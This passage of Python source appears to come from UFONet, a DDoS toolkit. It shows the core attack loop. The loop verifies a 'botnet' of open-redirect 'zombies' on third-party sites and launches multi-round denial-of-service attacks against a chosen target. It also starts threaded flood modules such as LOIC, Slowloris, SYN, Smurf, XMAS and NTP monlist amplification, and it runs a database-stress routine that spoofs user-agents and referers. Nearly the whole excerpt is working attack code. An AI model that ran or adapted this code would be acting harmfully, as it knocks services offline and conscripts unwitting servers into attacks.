  4086. zombie = str(zombie)
  4087. t = urlparse(zombie)
  4088. if self.herd.get_result(zombie):
  4089. code_reply = self.herd.get_result(zombie)
  4090. self.head = False
  4091. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  4092. name_zombie = t.netloc
  4093. if name_zombie == "":
  4094. name_zombie = zombie
  4095. print("Zombie:", name_zombie)
  4096. print("Status: OK ["+ code_reply + "]")
  4097. num_active_zombies = num_active_zombies + 1
  4098. active_zombies.append(zombie)
  4099. elif code_reply == "401":
  4100. print("Zombie:", t.netloc)
  4101. print("Status: Unauthorized ["+ code_reply + "]")
  4102. num_failed_zombies = num_failed_zombies + 1
  4103. elif code_reply == "403":
  4104. print("Zombie:", t.netloc)
  4105. print("Status: Error Forbidden ["+ code_reply + "]")
  4106. num_failed_zombies = num_failed_zombies + 1
  4107. elif code_reply == "404":
  4108. print("Zombie:", t.netloc)
  4109. print("Status: Not Found ["+ code_reply + "]")
  4110. num_failed_zombies = num_failed_zombies + 1
  4111. elif code_reply == "500":
  4112. print("Zombie:", t.netloc)
  4113. print("Status: Internal Server Error ["+ code_reply + "]")
  4114. num_failed_zombies = num_failed_zombies + 1
  4115. else:
  4116. print("Zombie:", t.netloc, "\nVector:", zombie)
  4117. print("Status: Not Allowed ["+ code_reply + "]")
  4118. num_failed_zombies = num_failed_zombies + 1
  4119. else:
  4120. if self.options.verbose:
  4121. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  4122. print("Zombie:", zombie)
  4123. print("Status: Malformed!")
  4124. num_failed_zombies = num_failed_zombies + 1
  4125. print('-'*10)
  4126. self.herd.reset()
  4127. print('='*18)
  4128. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  4129. print('='*18 + "\n")
  4130. print('='*22)
  4131. if num_active_zombies > 0:
  4132. # check url parameter vectors
  4133. print ("Checking for payloads:")
  4134. print('='*22)
  4135. print("Trying:", num_active_zombies)
  4136. print('-'*21)
  4137. zombies_ready = []
  4138. num_waiting_zombies = 0
  4139. if num_active_zombies == 0:
  4140. num_disconnected_zombies = num_failed_zombies
  4141. else:
  4142. num_disconnected_zombies = 0
  4143. for zombie in active_zombies:
  4144. zombie = str(zombie)
  4145. t = urlparse(zombie)
  4146. name_zombie = t.netloc
  4147. if name_zombie == "":
  4148. name_zombie = zombie
  4149. self.payload = True
  4150. try:
  4151. self.connect_zombies(zombie)
  4152. except:
  4153. pass
  4154. self.payload = False
  4155. while self.herd.no_more_zombies() == False:
  4156. time.sleep(1)
  4157. for zombie in self.herd.done:
  4158. zombie = str(zombie)
  4159. t = urlparse(zombie)
  4160. name_zombie = t.netloc
  4161. if name_zombie == "":
  4162. name_zombie = zombie
  4163. payload_zombie = zombie
  4164. payload_reply = ""
  4165. print("Vector:", payload_zombie)
  4166. self.payload = True
  4167. if self.herd.get_result(zombie):
  4168. payload_reply = self.herd.get_result(zombie)
  4169. self.payload = False
  4170. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  4171. num_waiting_zombies = num_waiting_zombies + 1
  4172. print("Status:", "Waiting for orders... ;-)")
  4173. zombies_ready.append(zombie)
  4174. else:
  4175. num_disconnected_zombies = num_disconnected_zombies + 1
  4176. print("Status:", "Not ready...")
  4177. army = army + 1
  4178. print('-'*10)
  4179. self.herd.reset()
  4180. print('='*18)
  4181. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  4182. print('='*18 + "\n")
  4183. # list of [Zombies] ready to attack
  4184. num_active_zombie = 0
  4185. for z in zombies_ready:
  4186. t = urlparse(z)
  4187. name_zombie = t.netloc
  4188. if name_zombie == "":
  4189. name_zombie = z
  4190. num_active_zombie = num_active_zombie + 1
  4191. if self.options.verbose:
  4192. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  4193. if self.options.testall: # testing_all
  4194. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  4195. else:
  4196. print('-'*25 + "\n")
  4197. print('='*24)
  4198. print("Working [Zombies]:", num_active_zombie)
  4199. print('='*24)
  4200. if not self.options.forceyes:
  4201. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  4202. print('-'*25)
  4203. else:
  4204. update_reply = "Y"
  4205. if update_reply == "n" or update_reply == "N":
  4206. print("[AI] "+self.exit_msg+"\n")
  4207. return
  4208. else:
  4209. self.update_zombies(zombies_ready)
  4210. if not self.options.upload:
  4211. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4212. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  4213. else:
  4214. print('-'*25 + "\n")
  4215. print('='*24)
  4216. print("Working [Zombies]:", num_active_zombies)
  4217. print('='*24)
  4218. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  4219. def testing_all(self):
  4220. # test whole botnet
  4221. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  4222. print('='*35)
  4223. zombies = self.extract_zombies()
  4224. rpcs = self.extract_rpcs()
  4225. aliens = self.extract_aliens()
  4226. droids = self.extract_droids()
  4227. ucavs = self.extract_ucavs()
  4228. try:
  4229. botnet = zombies + rpcs + aliens + droids + ucavs
  4230. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  4231. except:
  4232. return
  4233. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  4234. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  4235. print("\n" + '='*52)
  4236. print("\n+ Total Botnet:", len(botnet))
  4237. print("\n" + '-'*25)
  4238. print("\n+ Total Tested:", len(tested_zombies))
  4239. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  4240. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  4241. print('='*52 + '\n')
  4242. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  4243. if not self.options.forceyes:
  4244. update_reply = input("[AI] Do you want update your army? (Y/n)")
  4245. print('-'*25)
  4246. else:
  4247. update_reply = "Y"
  4248. if update_reply == "n" or update_reply == "N":
  4249. print("[AI] "+self.exit_msg+"\n")
  4250. return
  4251. else:
  4252. if num_disconnected_zombies > 0:
  4253. self.update_zombies(zombies_ready)
  4254. if num_failed_rpcs > 0:
  4255. self.update_rpcs(rpcs_ready)
  4256. if not self.options.upload:
  4257. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4258. else:
  4259. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  4260. def attacking(self, zombies, target):
  4261. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  4262. if self.options.forcessl:
  4263. if target.startswith("http://"):
  4264. target = target.replace("http://", "https://") # force SSL/TLS
  4265. if target.startswith("http://") or target.startswith("https://"):
  4266. print("Attacking:", target)
  4267. print('='*55, "\n")
  4268. # send Open Redirect injection (multiple zombies > one target url)
  4269. reply = self.injection(target, zombies)
  4270. else:
  4271. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  4272. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist):
  4273. # perform some other extra attacks (such as DoS techniques)
  4274. time.sleep(2) # aiming (multi-threading flow time compensation)
  4275. if loic:
  4276. try:
  4277. self.options.loic = int(loic)
  4278. except:
  4279. self.options.loic = 100 # default LOIC requests
  4280. if self.options.loic < 1:
  4281. self.options.loic = 100
  4282. self.instance = LOIC() # instance main class for LOIC operations
  4283. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  4284. self.t1.daemon = True # extra weapons are threaded as daemons
  4285. self.t1.start()
  4286. self.update_loic_stats() # add new LOIC attack to mothership stats
  4287. if loris:
  4288. try:
  4289. self.options.loris = int(loris)
  4290. except:
  4291. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  4292. if self.options.loris < 1:
  4293. self.options.loris = 101
  4294. self.instance = LORIS() # instance main class for LORIS operations
  4295. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  4296. self.t2.daemon = True
  4297. self.t2.start()
  4298. self.update_loris_stats() # add new LORIS attack to mothership stats
  4299. if ufosyn:
  4300. try:
  4301. self.options.ufosyn = int(ufosyn)
  4302. except:
  4303. self.options.ufosyn = 100 # default UFOSYN requests
  4304. if self.options.ufosyn < 1:
  4305. self.options.ufosyn = 100
  4306. self.instance = UFOSYN() # instance main class for UFOSYN operations
  4307. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  4308. self.t3.daemon = True
  4309. self.t3.start()
  4310. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  4311. if spray:
  4312. try:
  4313. self.options.spray = int(spray)
  4314. except:
  4315. self.options.spray = 100 # default SPRAY requests
  4316. if self.options.spray < 1:
  4317. self.options.spray = 100
  4318. self.instance = SPRAY() # instance main class for SPRAY operations
  4319. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  4320. self.t4.daemon = True
  4321. self.t4.start()
  4322. self.update_spray_stats() # add new SPRAY attack to mothership stats
  4323. if smurf:
  4324. try:
  4325. self.options.smurf = int(smurf)
  4326. except:
  4327. self.options.smurf = 101 # default SMURF requests
  4328. if self.options.smurf < 1:
  4329. self.options.smurf = 101
  4330. self.instance = SMURF() # instance main class for SMURF operations
  4331. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  4332. self.t5.daemon = True
  4333. self.t5.start()
  4334. self.update_smurf_stats() # add new SMURF attack to mothership stats
  4335. if xmas:
  4336. try:
  4337. self.options.xmas = int(xmas)
  4338. except:
  4339. self.options.xmas = 101 # default XMAS requests
  4340. if self.options.xmas < 1:
  4341. self.options.xmas = 101
  4342. self.instance = XMAS() # instance main class for XMAS operations
  4343. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  4344. self.t6.daemon = True
  4345. self.t6.start()
  4346. self.update_xmas_stats() # add new XMAS attack to mothership stats
  4347. if nuke:
  4348. if sys.platform == "linux" or sys.platform == "linux2":
  4349. try:
  4350. self.options.nuke = int(nuke)
  4351. except:
  4352. self.options.nuke = 10000 # default NUKE requests
  4353. if self.options.nuke < 1:
  4354. self.options.nuke = 10000
  4355. self.instance = NUKE() # instance main class for NUKE operations
  4356. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  4357. self.t7.daemon = True # extra weapons are threaded as daemons
  4358. self.t7.start()
  4359. self.update_nuke_stats() # add new NUKE attack to mothership stats
  4360. else:
  4361. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  4362. if tachyon:
  4363. try:
  4364. self.options.tachyon = int(tachyon)
  4365. except:
  4366. self.options.tachyon = 1000 # default TACHYON requests
  4367. if self.options.tachyon < 1:
  4368. self.options.tachyon = 1000
  4369. self.instance = TACHYON() # instance main class for TACHYON operations
  4370. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  4371. self.t8.daemon = True
  4372. self.t8.start()
  4373. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  4374. if monlist:
  4375. try:
  4376. self.options.monlist = int(monlist)
  4377. except:
  4378. self.options.monlist = 1000 # default MONLIST requests
  4379. if self.options.monlist < 1:
  4380. self.options.monlist = 1000
  4381. self.instance = MONLIST() # instance main class for MONLIST operations
  4382. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  4383. self.t9.daemon = True
  4384. self.t9.start()
  4385. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  4386. def stressing(self, target, zombie):
  4387. # perform a DDoS Web attack against a target, requesting records on target's database
  4388. options = self.options
  4389. db_input = self.options.dbstress
  4390. def random_key(length):
  4391. key = ''
  4392. for i in range(length):
  4393. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4394. return key
  4395. # generating random alphanumeric queries
  4396. if self.db_flash > 9: # set db flash start on: 10
  4397. length = 1024 # search a heavy random length query (db flash): 1024
  4398. self.db_flash = 0 # reset db flash counter
  4399. else:
  4400. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  4401. key = str(random_key(length))
  4402. if self.db_flash > 9:
  4403. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  4404. else:
  4405. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  4406. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4407. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4408. if not target.endswith('/'): # add "/" to end of target
  4409. target = target + "/"
  4410. url = zombie + target + db_input + key
  4411. req = urllib.request.Request(url, None, headers)
  4412. if options.proxy: # set proxy
  4413. self.proxy_transport(options.proxy)
  4414. try:
  4415. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4416. except urllib.error.HTTPError as e:
  4417. if e.code == 401:
  4418. print('[Info] [DBStress] Not authorized')
  4419. elif e.code == 404:
  4420. print('[Info] [DBStress] Not found')
  4421. elif e.code == 503:
  4422. print('[Info] [DBStress] Service unavailable')
  4423. else:
  4424. print('[Info] [DBStress] Unknown error')
  4425. else:
  4426. print('[Info] [DBStress] Database query: HIT!')
  4427. def attackme(self, zombies):
  4428. # perform a DDoS Web attack against yourself
  4429. print("[AI] Starting local port to listening at: " + self.port + "\n")
  4430. print('='*21 + "\n")
  4431. self.doll=Doll(self)
  4432. self.doll.start()
  4433. while not self.doll._armed:
  4434. time.sleep(1)
  4435. # send Open Redirect injection (multiple zombies-multiple target urls)
  4436. target = ""
  4437. self.injection(target, zombies)
  4438. self.doll.shutdown()
  4439. self.doll.join()
  4440. self.herd.list_fails()
  4441. def check_target_status(self):
  4442. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  4443. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  4444. if not self.options.forceyes:
  4445. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  4446. print("\n" + '-'*25)
  4447. else:
  4448. update_reply = "N"
  4449. if update_reply == "y" or update_reply == "Y":
  4450. try: # send HEAD connection
  4451. self.head = True
  4452. reply = self.connect_zombie(target)
  4453. self.head = False
  4454. if reply:
  4455. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  4456. else:
  4457. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4458. self.update_targets_crashed() # update targets crashed stats
  4459. self.update_mothership_stats() # update mothership completed attack stats
  4460. except Exception:
  4461. print("\n[Error] [AI] Something wrong with your connection!...\n")
  4462. if self.options.verbose:
  4463. traceback.print_exc()
  4464. return
  4465. else:
  4466. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4467. self.update_targets_crashed() # update targets crashed stats
  4468. self.update_mothership_stats() # update mothership completed attack stats
  4469. return
  4470. def starting_target_check(self, target, head_check):
  4471. options = self.options
  4472. head_check_here = False
  4473. head_check_external = False
  4474. if options.disablehead: # check at start is disabled (skipping!)
  4475. print("[Info] [AI] Skipping external check...\n")
  4476. head_check_here = True
  4477. head_check_external = True
  4478. else:
  4479. if head_check:
  4480. if not options.attackme:
  4481. print("[AI] Launching: 'Is target up?' check...\n")
  4482. try: # send HEAD connection
  4483. self.head = True
  4484. reply = self.connect_zombie(target)
  4485. self.head = False
  4486. if reply:
  4487. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  4488. head_check_here = True
  4489. else:
  4490. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  4491. head_check_here = False
  4492. except Exception:
  4493. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  4494. if self.options.verbose:
  4495. traceback.print_exc()
  4496. head_check_here = False
  4497. else: # check if local IP/PORT is listening on mothership
  4498. print("[AI] Launching: 'Is NAT ready?' check...\n")
  4499. try:
  4500. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  4501. result = sock.connect_ex(('0.0.0.0',8080))
  4502. if result == 0 or result == 110: # black magic
  4503. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  4504. head_check_here = True
  4505. else:
  4506. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  4507. head_check_here = False
  4508. except Exception:
  4509. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  4510. if self.options.verbose:
  4511. traceback.print_exc()
  4512. head_check_here = False
  4513. else:
  4514. head_check_here = True
  4515. # check target using external check services
  4516. self.external = True
  4517. if not options.attackme:
  4518. try:
  4519. try:
  4520. url = self.external_check_service1 + target # check from external service [1]
  4521. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4522. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4523. if options.proxy: # set proxy
  4524. self.proxy_transport(options.proxy)
  4525. req = urllib.request.Request(url, None, headers)
  4526. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4527. if "returned code 200 OK and is up".encode('utf-8') in external_reply:
  4528. t = urlparse(self.external_check_service1)
  4529. name_external1 = t.netloc
  4530. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  4531. head_check_external = True
  4532. except:
  4533. url = self.external_check_service2 + target # check from external service [2]
  4534. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4535. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4536. if options.proxy: # set proxy
  4537. self.proxy_transport(options.proxy)
  4538. req = urllib.request.Request(url, None, headers)
  4539. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4540. if "It's just you" in req_reply:
  4541. t = urlparse(self.external_check_service2)
  4542. name_external2 = t.netloc
  4543. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  4544. head_check_external = True
  4545. else:
  4546. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4547. head_check_external = False
  4548. except Exception:
  4549. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  4550. if self.options.verbose:
  4551. traceback.print_exc()
  4552. head_check_external = False
  4553. else:
  4554. try: # check mothership from public ip / NAT using HEAD request
  4555. try:
  4556. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  4557. reply = urllib.request.urlopen(req)
  4558. except Exception:
  4559. reply = None
  4560. if reply:
  4561. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  4562. head_check_external = True
  4563. else:
  4564. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  4565. head_check_external = False
  4566. head_check_here = False # stop attack if not public IP available
  4567. except Exception:
  4568. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  4569. head_check_here = False # stop attack if not public IP available
  4570. if self.options.verbose:
  4571. traceback.print_exc()
  4572. head_check_external = False
  4573. self.external = False
  4574. return head_check_here, head_check_external
  4575. def injection(self, target, zombies, head_check = True):
  4576. options = self.options
  4577. # check target's integrity at start
  4578. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  4579. # ask user to confirm the attack
  4580. if head_check_here == True or head_check_external == True:
  4581. if not self.options.forceyes:
  4582. if not options.attackme:
  4583. if not options.disablehead:
  4584. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  4585. else:
  4586. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  4587. else:
  4588. if not options.disablehead:
  4589. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  4590. else:
  4591. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  4592. else:
  4593. start_reply = "Y"
  4594. if start_reply == "y" or start_reply == "Y":
  4595. if options.attackme:
  4596. total_rounds = 2 # default rounds for attackme
  4597. else:
  4598. total_rounds = options.rounds # extract number of rounds
  4599. try:
  4600. total_rounds = int(total_rounds)
  4601. except:
  4602. total_rounds = 1
  4603. if not total_rounds:
  4604. total_rounds = 1
  4605. if total_rounds <= 0:
  4606. total_rounds = 1
  4607. self.herd.cleanup()
  4608. num_round = 1
  4609. num_hits = 0
  4610. num_zombie = 1
  4611. # start to attack the target with [MODS]
  4612. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon or options.monlist:
  4613. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon, self.options.monlist)) # multithreading flow for extra attacks
  4614. ex.daemon = True # extra weapons are threaded as daemons
  4615. ex.start()
  4616. # start to attack the target with [ARMY]
  4617. zombies = self.extract_zombies() # extract zombies from file
  4618. if zombies:
  4619. self.total_zombie = len(zombies)
  4620. else:
  4621. self.total_zombie = 0
  4622. return
  4623. self.herd=Herd(self)
  4624. if not self.options.disablepurge:
  4625. self.discardzombies = []
  4626. self.discard_aliens = []
  4627. self.discard_droids = []
  4628. self.discard_rpcs = []
  4629. self.discard_ucavs = []
  4630. total_disc_zombies = 0
  4631. self.num_discard_zombies = 0
  4632. self.num_discard_aliens = 0
  4633. self.num_discard_droids = 0
  4634. self.num_discard_rpcs = 0
  4635. self.num_discard_ucavs = 0
  4636. self.empty_zombies = False
  4637. for i in range(0, int(total_rounds)): # start attacking using rounds
  4638. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  4639. print('='*42)
  4640. print('Starting round:', num_round, ' of ', total_rounds)
  4641. print('='*42)
  4642. self.herd.reset()
  4643. self.extra_zombies_lock = True
  4644. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  4645. self.send_zombies(zombies) # send [Zombies]
  4646. if not self.options.attackme:
  4647. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  4648. if self.options.verbose:
  4649. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  4650. self.send_extra_zombies() # send [ARMY]
  4651. while self.extra_zombies_lock == True:
  4652. time.sleep(1) # wait for [ARMY] to return
  4653. if self.options.verbose:
  4654. print("\n" + '='*42)
  4655. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  4656. else:
  4657. zombies_lock = 0
  4658. if self.options.expire: # set timing for purge
  4659. try:
  4660. timing = int(self.options.expire)
  4661. except:
  4662. timing = self.expire_timing # default timing for purge
  4663. else:
  4664. timing = self.expire_timing # default timing for purge
  4665. if timing < 1:
  4666. timing = self.expire_timing # default timing for purge
  4667. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4668. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  4669. zombies_lock = zombies_lock + 1
  4670. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4671. if self.options.verbose:
  4672. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4673. break
  4674. else:
  4675. time.sleep(1)
  4676. if self.options.verbose:
  4677. print("\n" + '='*42)
  4678. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  4679. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  4680. self.check_target_status()
  4681. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  4682. self.abandoning_zombies() # check for abandoning zombies
  4683. for zombie in self.herd.done: # check for num hits
  4684. if self.herd.connection_failed(zombie) == False:
  4685. num_hits = num_hits + 1
  4686. num_zombie = num_zombie + 1
  4687. if num_zombie > self.total_zombie:
  4688. num_zombie = 1
  4689. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  4690. check_is_loading = self.check_is_loading(target)
  4691. self.herd.dump_html()
  4692. if not self.options.disablepurge:
  4693. if self.empty_zombies == True:
  4694. break # exit routine when not any more zombies
  4695. num_round = num_round + 1
  4696. if self.options.verbose:
  4697. print("\n" + '='*42)
  4698. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  4699. if self.options.loic: # try to stop daemons/threads for extra weapons
  4700. self.t1.join()
  4701. if self.options.loris:
  4702. self.t2.join()
  4703. if self.options.ufosyn:
  4704. self.t3.join()
  4705. if self.options.spray:
  4706. self.t4.join()
  4707. if self.options.smurf:
  4708. self.t5.join()
  4709. if self.options.xmas:
  4710. self.t6.join()
  4711. if self.options.nuke:
  4712. self.t7.join()
  4713. if self.options.tachyon:
  4714. self.t8.join()
  4715. if self.options.monlist:
  4716. self.t9.join()
  4717. if self.options.target_list:
  4718. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  4719. print ("\x1b[2J\x1b[H") # black magic
  4720. if not self.options.attackme: # show herd results
  4721. self.herd.dump()
  4722. else: # show doll results
  4723. print('='*21)
  4724. print("\n[Info] [AI] Mothership transmission...\n")
  4725. num_real_zombies = len(self.doll.real_zombies)
  4726. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  4727. for z in self.doll.real_zombies: # show only alien verified zombies
  4728. for x in z:
  4729. print(" - " + str(x))
  4730. self.herd.dump_html(True) # show (all) zombies statistics
  4731. if not self.options.attackme:
  4732. if not self.options.disablepurge:
  4733. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  4734. else:
  4735. if not options.target_list:
  4736. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  4737. else:
  4738. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  4739. self.update_mothership_stats() # update mothership stats
  4740. if not self.options.disablepurge:
  4741. print('='*21+ "\n")
  4742. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  4743. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4744. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  4745. elif total_disc_zombies > 1:
  4746. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  4747. if self.num_discard_zombies > 0:
  4748. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  4749. if self.num_discard_aliens > 0:
  4750. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  4751. if self.num_discard_droids > 0:
  4752. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  4753. if self.num_discard_rpcs > 0:
  4754. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  4755. if self.num_discard_ucavs > 0:
  4756. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  4757. if total_disc_zombies > 0:
  4758. if not self.options.forceyes:
  4759. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4760. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  4761. elif total_disc_zombies > 1:
  4762. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  4763. else:
  4764. backup_reply = "Y"
  4765. if backup_reply == "y" or backup_reply == "Y":
  4766. print("\n[Info] [AI] Purging failed units from files...\n")
  4767. discarded = []
  4768. if self.num_discard_zombies > 0:
  4769. for z in self.discardzombies:
  4770. discarded.append(z)
  4771. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  4772. if self.num_discard_aliens > 0:
  4773. for a in self.discard_aliens:
  4774. discarded.append(a)
  4775. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  4776. if self.num_discard_droids > 0:
  4777. for d in self.discard_droids:
  4778. discarded.append(d)
  4779. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  4780. if self.num_discard_rpcs > 0:
  4781. for r in self.discard_rpcs:
  4782. discarded.append(r)
  4783. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  4784. if self.num_discard_ucavs > 0:
  4785. for u in self.discard_ucavs:
  4786. discarded.append(u)
  4787. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  4788. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4789. if disc_zombies > 0 and disc_zombies < 2:
  4790. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  4791. elif disc_zombies > 1:
  4792. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  4793. if not self.options.target_list:
  4794. print('-'*21+ "\n")
  4795. print("[AI] "+self.exit_msg+"\n")
  4796. if not self.options.web:
  4797. return
  4798. else:
  4799. if self.num_target_list > 0: # still more targets
  4800. print('-'*21+ "\n")
  4801. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  4802. return
  4803. else: # finish attack from multiple targets
  4804. print('-'*21+ "\n")
  4805. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  4806. print("\n"+ '='*21+ "\n")
  4807. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  4808. print("\n"+ '-'*21+ "\n")
  4809. print("[AI] "+self.exit_msg+"\n")
  4810. if not self.options.web:
  4811. return
  4812. else:
